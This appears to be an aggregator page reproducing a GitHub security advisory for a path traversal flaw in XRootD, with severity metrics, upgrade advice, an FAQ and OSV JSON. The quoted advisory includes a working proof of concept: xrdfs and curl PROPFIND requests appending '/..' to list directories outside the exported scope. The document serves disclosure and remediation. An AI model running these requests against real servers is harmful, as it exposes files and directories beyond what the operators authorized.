GHSA-vj8v-p5vw-m6v5: Xrootd Path Traversal Vulnerability

MODERATE
CVSS 5.3
CWE-20 CWE-22
Published
Advisory Summary

GHSA-vj8v-p5vw-m6v5 is a MODERATE (CVSS 5.3) path traversal vulnerability (CWE-20: Improper Input Validation) affecting Xrootd libraries in the PyPI ecosystem. The issue involves xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern. Remediation is available by upgrading affected packages to version 5.9.2.

GHSA-vj8v-p5vw-m6v5 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vj8v-p5vw-m6v5
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-20: Improper Input Validation
Affected Product Xrootd
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-vj8v-p5vw-m6v5

To remediate this vulnerability, upgrade all affected Xrootd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

xrootd fixed: 5.9.2
pip install xrootd>=5.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show xrootd

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-vj8v-p5vw-m6v5, inspect your installed packages using pip:

pip show xrootd

Analyze the terminal output to locate any version of Xrootd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.9.2), your application is affected.

Note: The pip show xrootd command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Xrootd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests. This bypass ignores the `all.export` restriction. ## Affected component `src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer. ## PoC ### Configuration - **Configuration file:** ```conf xrd.port 1094 # Exposing only /alice/ oss.localroot /srv/xrootd/data/ all.export /alice/ # HTTP xrd.protocol http:1094 libXrdHttp.so # Logs / monitoring all.adminpath /var/spool/xrootd all.pidpath /var/run/xrootd ``` - **Filesystem layout on the server:** ``` /srv/xrootd/data/ ├── alice/ ← only exported directory ├── bob/ ← not exported └── secret.txt ← not exported ``` - **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg` ### Steps to reproduce **Normal behavior (access outside export is denied):** ```bash $ xrdfs root://<xrootd-server> ls / [ERROR] Server responded with an error: [3010] Stating path '/' is disallowed. ``` **Bypass via trailing `..`:** ```bash $ xrdfs root://<xrootd-server>ls /alice/.. /alice/../alice /alice/../bob /alice/../secret.txt ``` **Also exploitable via HTTP PROPFIND:** ```bash curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \ --path-as-is \ -H "Depth: 1" ``` Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`). **However, file download via this path traversal is blocked:** ```bash $ xrdcp root://<xrootd-server>/alice/../secret.txt . [0B/0B][100%][==================================================][0B/s] Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source) ``` ## Impact An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`). File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration). This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself. ## Suggested fix In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change: ```cpp // Before if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1; // After if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1; ```

GHSA-vj8v-p5vw-m6v5 Affected Xrootd Versions

1 component(s)
Fixed Versions:
5.9.2
Product / Package Ecosystem Affected Versions Fixed Version
xrootd
PyPI
< 5.9.2
5.9.2

References

Frequently Asked Questions

What is GHSA-vj8v-p5vw-m6v5?
GHSA-vj8v-p5vw-m6v5 is a security vulnerability in Xrootd involving xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern under CWE-20: Improper Input Validation.
Which Xrootd versions are affected?
Affected versions include releases prior to 5.9.2 across affected packages: xrootd.
What version fixes GHSA-vj8v-p5vw-m6v5?
Upgrading to 5.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is xrootd affected?
Yes, xrootd is affected in releases prior to 5.9.2. Upgrade your dependency to 5.9.2 or later.
What is the CVSS score of GHSA-vj8v-p5vw-m6v5?
GHSA-vj8v-p5vw-m6v5 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with GHSA-vj8v-p5vw-m6v5?
GHSA-vj8v-p5vw-m6v5 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check PyPI dependencies for GHSA-vj8v-p5vw-m6v5?
Run the dependency tree command: 'pip show xrootd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vj8v-p5vw-m6v5",
  "modified" : "2026-04-10T19:50:39Z",
  "published" : "2026-04-10T19:50:39Z",
  "aliases" : [ ],
  "summary" : "xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern",
  "details" : "## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://<xrootd-server> ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://<xrootd-server>ls /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://<xrootd-server>/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "xrootd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xrootd/xrootd"
  }, {
    "type" : "WEB",
    "url" : "http://github.com/xrootd/xrootd/releases/tag/v5.9.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:50:39Z",
    "nvd_published_at" : null
  }
}